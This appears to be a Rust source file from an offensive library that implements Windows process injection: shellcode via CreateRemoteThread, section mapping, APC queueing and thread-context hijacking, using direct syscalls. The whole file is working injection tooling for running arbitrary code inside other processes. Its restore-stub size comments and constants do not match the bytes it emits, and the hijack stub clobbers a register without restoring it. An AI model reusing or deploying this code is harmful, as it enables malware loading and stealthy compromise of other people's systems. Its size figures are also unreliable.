wraith/manipulation/remote/
inject.rs

1//! Injection methods for remote processes
2//!
3//! Provides various techniques for code injection:
4//! - CreateRemoteThread (shellcode/DLL injection)
5//! - NtMapViewOfSection (section mapping)
6//! - APC injection (queue user APC)
7//! - Thread hijacking (context manipulation)
8
9#[cfg(all(not(feature = "std"), feature = "alloc"))]
10use alloc::{format, string::String, vec::Vec};
11
12#[cfg(feature = "std")]
13use std::{format, string::String, vec::Vec};
14
15use super::process::RemoteProcess;
16use super::thread::{create_remote_thread, RemoteThreadOptions};
17use crate::error::{Result, WraithError};
18use crate::manipulation::syscall::{
19    get_syscall_table, nt_close, nt_success, DirectSyscall,
20    PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
21};
22
23/// injection method enumeration
24#[derive(Debug, Clone, Copy, PartialEq, Eq)]
25pub enum InjectionMethod {
26    /// CreateRemoteThread with shellcode
27    RemoteThread,
28    /// NtMapViewOfSection
29    SectionMapping,
30    /// QueueUserAPC
31    Apc,
32    /// Thread context hijacking
33    ThreadHijack,
34}
35
36/// result of a successful injection
37#[derive(Debug)]
38pub struct InjectionResult {
39    pub method: InjectionMethod,
40    pub remote_address: usize,
41    pub thread_id: Option<u32>,
42    pub size: usize,
43}
44
45/// inject shellcode via remote thread creation
46pub fn inject_shellcode(
47    process: &RemoteProcess,
48    shellcode: &[u8],
49) -> Result<InjectionResult> {
50    // allocate memory for shellcode
51    let alloc = process.allocate_rw(shellcode.len())?;
52
53    // write shellcode
54    process.write(alloc.base(), shellcode)?;
55
56    // change to RX
57    process.protect(alloc.base(), alloc.size(), PAGE_EXECUTE_READ)?;
58
59    // create remote thread
60    let thread = create_remote_thread(
61        process,
62        alloc.base(),
63        0,
64        RemoteThreadOptions::default(),
65    )?;
66
67    let base = alloc.leak(); // don't free, thread is using it
68
69    Ok(InjectionResult {
70        method: InjectionMethod::RemoteThread,
71        remote_address: base,
72        thread_id: Some(thread.id()),
73        size: shellcode.len(),
74    })
75}
76
77/// inject via NtMapViewOfSection
78pub fn inject_via_section(
79    process: &RemoteProcess,
80    data: &[u8],
81    executable: bool,
82) -> Result<InjectionResult> {
83    // create section
84    let section_handle = create_section(data.len(), executable)?;
85
86    // map section into current process to write data
87    let local_base = map_section_local(section_handle, data.len())?;
88
89    // copy data to section
90    unsafe {
91        core::ptr::copy_nonoverlapping(
92            data.as_ptr(),
93            local_base as *mut u8,
94            data.len(),
95        );
96    }
97
98    // unmap from current process
99    unmap_section_local(local_base)?;
100
101    // map section into remote process
102    let remote_base = map_section_remote(process, section_handle, data.len(), executable)?;
103
104    // close section handle
105    let _ = nt_close(section_handle);
106
107    Ok(InjectionResult {
108        method: InjectionMethod::SectionMapping,
109        remote_address: remote_base,
110        thread_id: None,
111        size: data.len(),
112    })
113}
114
115fn create_section(size: usize, executable: bool) -> Result<usize> {
116    let table = get_syscall_table()?;
117    let syscall = DirectSyscall::from_table(table, "NtCreateSection")?;
118
119    let mut section_handle: usize = 0;
120    let mut max_size: i64 = size as i64;
121
122    let protection = if executable {
123        PAGE_EXECUTE_READWRITE
124    } else {
125        PAGE_READWRITE
126    };
127
128    // SAFETY: all parameters are valid
129    let status = unsafe {
130        syscall.call_many(&[
131            &mut section_handle as *mut usize as usize, // SectionHandle
132            SECTION_ALL_ACCESS as usize,                 // DesiredAccess
133            0,                                           // ObjectAttributes
134            &mut max_size as *mut i64 as usize,          // MaximumSize
135            protection as usize,                         // SectionPageProtection
136            SEC_COMMIT as usize,                         // AllocationAttributes
137            0,                                           // FileHandle
138        ])
139    };
140
141    if nt_success(status) {
142        Ok(section_handle)
143    } else {
144        Err(WraithError::SectionMappingFailed {
145            reason: format!("NtCreateSection failed: {:#x}", status as u32),
146        })
147    }
148}
149
150fn map_section_local(section_handle: usize, size: usize) -> Result<usize> {
151    let table = get_syscall_table()?;
152    let syscall = DirectSyscall::from_table(table, "NtMapViewOfSection")?;
153
154    let mut base_address: usize = 0;
155    let mut view_size: usize = size;
156    let current_process: usize = usize::MAX; // pseudo handle for current process
157
158    // SAFETY: mapping into current process
159    let status = unsafe {
160        syscall.call_many(&[
161            section_handle,
162            current_process,
163            &mut base_address as *mut usize as usize,
164            0, // ZeroBits
165            0, // CommitSize
166            0, // SectionOffset
167            &mut view_size as *mut usize as usize,
168            2, // ViewUnmap
169            0, // AllocationType
170            PAGE_READWRITE as usize,
171        ])
172    };
173
174    if nt_success(status) {
175        Ok(base_address)
176    } else {
177        Err(WraithError::SectionMappingFailed {
178            reason: format!("NtMapViewOfSection (local) failed: {:#x}", status as u32),
179        })
180    }
181}
182
183fn unmap_section_local(base_address: usize) -> Result<()> {
184    let table = get_syscall_table()?;
185    let syscall = DirectSyscall::from_table(table, "NtUnmapViewOfSection")?;
186
187    let current_process: usize = usize::MAX;
188
189    let status = unsafe { syscall.call2(current_process, base_address) };
190
191    if nt_success(status) {
192        Ok(())
193    } else {
194        Err(WraithError::SectionMappingFailed {
195            reason: format!("NtUnmapViewOfSection failed: {:#x}", status as u32),
196        })
197    }
198}
199
200fn map_section_remote(
201    process: &RemoteProcess,
202    section_handle: usize,
203    size: usize,
204    executable: bool,
205) -> Result<usize> {
206    let table = get_syscall_table()?;
207    let syscall = DirectSyscall::from_table(table, "NtMapViewOfSection")?;
208
209    let mut base_address: usize = 0;
210    let mut view_size: usize = size;
211
212    let protection = if executable {
213        PAGE_EXECUTE_READ
214    } else {
215        PAGE_READWRITE
216    };
217
218    // SAFETY: mapping into remote process
219    let status = unsafe {
220        syscall.call_many(&[
221            section_handle,
222            process.handle(),
223            &mut base_address as *mut usize as usize,
224            0, // ZeroBits
225            0, // CommitSize
226            0, // SectionOffset
227            &mut view_size as *mut usize as usize,
228            2, // ViewUnmap
229            0, // AllocationType
230            protection as usize,
231        ])
232    };
233
234    if nt_success(status) {
235        Ok(base_address)
236    } else {
237        Err(WraithError::SectionMappingFailed {
238            reason: format!("NtMapViewOfSection (remote) failed: {:#x}", status as u32),
239        })
240    }
241}
242
243/// inject via APC (Asynchronous Procedure Call)
244///
245/// requires a thread handle with appropriate access rights
246pub fn inject_apc(
247    process: &RemoteProcess,
248    thread_handle: usize,
249    shellcode: &[u8],
250) -> Result<InjectionResult> {
251    // allocate and write shellcode
252    let alloc = process.allocate_rw(shellcode.len())?;
253    process.write(alloc.base(), shellcode)?;
254    process.protect(alloc.base(), alloc.size(), PAGE_EXECUTE_READ)?;
255
256    // queue APC
257    queue_user_apc(thread_handle, alloc.base(), 0)?;
258
259    let base = alloc.leak();
260
261    Ok(InjectionResult {
262        method: InjectionMethod::Apc,
263        remote_address: base,
264        thread_id: None,
265        size: shellcode.len(),
266    })
267}
268
269fn queue_user_apc(thread_handle: usize, apc_routine: usize, argument: usize) -> Result<()> {
270    let table = get_syscall_table()?;
271    let syscall = DirectSyscall::from_table(table, "NtQueueApcThread")?;
272
273    // SAFETY: valid thread handle and APC routine
274    let status = unsafe {
275        syscall.call5(
276            thread_handle,
277            apc_routine,
278            argument,
279            0, // ApcContext1
280            0, // ApcContext2
281        )
282    };
283
284    if nt_success(status) {
285        Ok(())
286    } else {
287        Err(WraithError::ApcQueueFailed {
288            reason: format!("NtQueueApcThread failed: {:#x}", status as u32),
289        })
290    }
291}
292
293/// inject via thread hijacking (context manipulation)
294///
295/// suspends target thread, modifies its context to execute shellcode,
296/// then resumes it
297pub fn inject_thread_hijack(
298    process: &RemoteProcess,
299    thread_handle: usize,
300    shellcode: &[u8],
301) -> Result<InjectionResult> {
302    // suspend thread
303    let suspend_count = unsafe { SuspendThread(thread_handle) };
304    if suspend_count == u32::MAX {
305        return Err(WraithError::ThreadSuspendResumeFailed {
306            reason: "SuspendThread failed".into(),
307        });
308    }
309
310    // allocate memory for shellcode + saved context restoration stub
311    let total_size = shellcode.len() + get_context_restore_stub_size();
312    let alloc = process.allocate_rwx(total_size)?;
313
314    // get current thread context
315    let mut context = get_thread_context(thread_handle)?;
316
317    // write shellcode
318    process.write(alloc.base(), shellcode)?;
319
320    // save original RIP and modify context
321    #[cfg(target_arch = "x86_64")]
322    let original_rip = context.rip;
323    #[cfg(target_arch = "x86")]
324    let original_rip = context.eip;
325
326    // write restoration stub after shellcode
327    let stub_offset = shellcode.len();
328    let restore_stub = create_context_restore_stub(original_rip as usize);
329    process.write(alloc.base() + stub_offset, &restore_stub)?;
330
331    // modify context to point to our shellcode
332    #[cfg(target_arch = "x86_64")]
333    {
334        context.rip = alloc.base() as u64;
335    }
336    #[cfg(target_arch = "x86")]
337    {
338        context.eip = alloc.base() as u32;
339    }
340
341    // set modified context
342    set_thread_context(thread_handle, &context)?;
343
344    // resume thread
345    let resume_result = unsafe { ResumeThread(thread_handle) };
346    if resume_result == u32::MAX {
347        return Err(WraithError::ThreadSuspendResumeFailed {
348            reason: "ResumeThread failed".into(),
349        });
350    }
351
352    let base = alloc.leak();
353
354    Ok(InjectionResult {
355        method: InjectionMethod::ThreadHijack,
356        remote_address: base,
357        thread_id: None,
358        size: total_size,
359    })
360}
361
362#[cfg(target_arch = "x86_64")]
363fn get_context_restore_stub_size() -> usize {
364    // push rax; mov rax, <addr>; jmp rax = 2 + 10 + 2 = 14 bytes
365    14
366}
367
368#[cfg(target_arch = "x86")]
369fn get_context_restore_stub_size() -> usize {
370    // push eax; mov eax, <addr>; jmp eax = 1 + 5 + 2 = 8 bytes
371    8
372}
373
374#[cfg(target_arch = "x86_64")]
375fn create_context_restore_stub(return_address: usize) -> Vec<u8> {
376    let mut stub = Vec::with_capacity(14);
377    // mov rax, <address>
378    stub.push(0x48);
379    stub.push(0xB8);
380    stub.extend_from_slice(&(return_address as u64).to_le_bytes());
381    // jmp rax
382    stub.push(0xFF);
383    stub.push(0xE0);
384    stub
385}
386
387#[cfg(target_arch = "x86")]
388fn create_context_restore_stub(return_address: usize) -> Vec<u8> {
389    let mut stub = Vec::with_capacity(8);
390    // mov eax, <address>
391    stub.push(0xB8);
392    stub.extend_from_slice(&(return_address as u32).to_le_bytes());
393    // jmp eax
394    stub.push(0xFF);
395    stub.push(0xE0);
396    stub
397}
398
399#[cfg(target_arch = "x86_64")]
400#[repr(C, align(16))]
401struct ThreadContext {
402    p1_home: u64,
403    p2_home: u64,
404    p3_home: u64,
405    p4_home: u64,
406    p5_home: u64,
407    p6_home: u64,
408    context_flags: u32,
409    mx_csr: u32,
410    seg_cs: u16,
411    seg_ds: u16,
412    seg_es: u16,
413    seg_fs: u16,
414    seg_gs: u16,
415    seg_ss: u16,
416    eflags: u32,
417    dr0: u64,
418    dr1: u64,
419    dr2: u64,
420    dr3: u64,
421    dr6: u64,
422    dr7: u64,
423    rax: u64,
424    rcx: u64,
425    rdx: u64,
426    rbx: u64,
427    rsp: u64,
428    rbp: u64,
429    rsi: u64,
430    rdi: u64,
431    r8: u64,
432    r9: u64,
433    r10: u64,
434    r11: u64,
435    r12: u64,
436    r13: u64,
437    r14: u64,
438    r15: u64,
439    rip: u64,
440    // remaining fields for FPU/XMM state (we don't need to modify these)
441    _padding: [u8; 512],
442}
443
444#[cfg(target_arch = "x86")]
445#[repr(C)]
446struct ThreadContext {
447    context_flags: u32,
448    dr0: u32,
449    dr1: u32,
450    dr2: u32,
451    dr3: u32,
452    dr6: u32,
453    dr7: u32,
454    float_save: [u8; 112],
455    seg_gs: u32,
456    seg_fs: u32,
457    seg_es: u32,
458    seg_ds: u32,
459    edi: u32,
460    esi: u32,
461    ebx: u32,
462    edx: u32,
463    ecx: u32,
464    eax: u32,
465    ebp: u32,
466    eip: u32,
467    seg_cs: u32,
468    eflags: u32,
469    esp: u32,
470    seg_ss: u32,
471    _extended: [u8; 512],
472}
473
474#[cfg(target_arch = "x86_64")]
475const CONTEXT_FULL: u32 = 0x10000B;
476#[cfg(target_arch = "x86")]
477const CONTEXT_FULL: u32 = 0x1000B;
478
479fn get_thread_context(thread_handle: usize) -> Result<ThreadContext> {
480    let mut context: ThreadContext = unsafe { core::mem::zeroed() };
481    context.context_flags = CONTEXT_FULL;
482
483    let result = unsafe { GetThreadContext(thread_handle, &mut context) };
484    if result == 0 {
485        return Err(WraithError::ThreadContextFailed {
486            reason: format!("GetThreadContext failed: {}", unsafe { GetLastError() }),
487        });
488    }
489
490    Ok(context)
491}
492
493fn set_thread_context(thread_handle: usize, context: &ThreadContext) -> Result<()> {
494    let result = unsafe { SetThreadContext(thread_handle, context) };
495    if result == 0 {
496        return Err(WraithError::ThreadContextFailed {
497            reason: format!("SetThreadContext failed: {}", unsafe { GetLastError() }),
498        });
499    }
500    Ok(())
501}
502
503// section access rights
504const SECTION_ALL_ACCESS: u32 = 0xF001F;
505const SEC_COMMIT: u32 = 0x8000000;
506
507#[link(name = "kernel32")]
508extern "system" {
509    fn SuspendThread(hThread: usize) -> u32;
510    fn ResumeThread(hThread: usize) -> u32;
511    fn GetThreadContext(hThread: usize, lpContext: *mut ThreadContext) -> i32;
512    fn SetThreadContext(hThread: usize, lpContext: *const ThreadContext) -> i32;
513    fn GetLastError() -> u32;
514}
515
516#[cfg(test)]
517mod tests {
518    use super::*;
519
520    #[test]
521    fn test_context_restore_stub() {
522        let stub = create_context_restore_stub(0x12345678);
523        assert!(!stub.is_empty());
524
525        #[cfg(target_arch = "x86_64")]
526        {
527            assert_eq!(stub.len(), 12); // movabs + jmp
528            assert_eq!(stub[0], 0x48); // REX.W prefix
529            assert_eq!(stub[1], 0xB8); // MOV RAX, imm64
530        }
531    }
532
533    #[test]
534    fn test_injection_method_enum() {
535        let method = InjectionMethod::RemoteThread;
536        assert_eq!(method, InjectionMethod::RemoteThread);
537
538        let method = InjectionMethod::SectionMapping;
539        assert_eq!(method, InjectionMethod::SectionMapping);
540    }
541}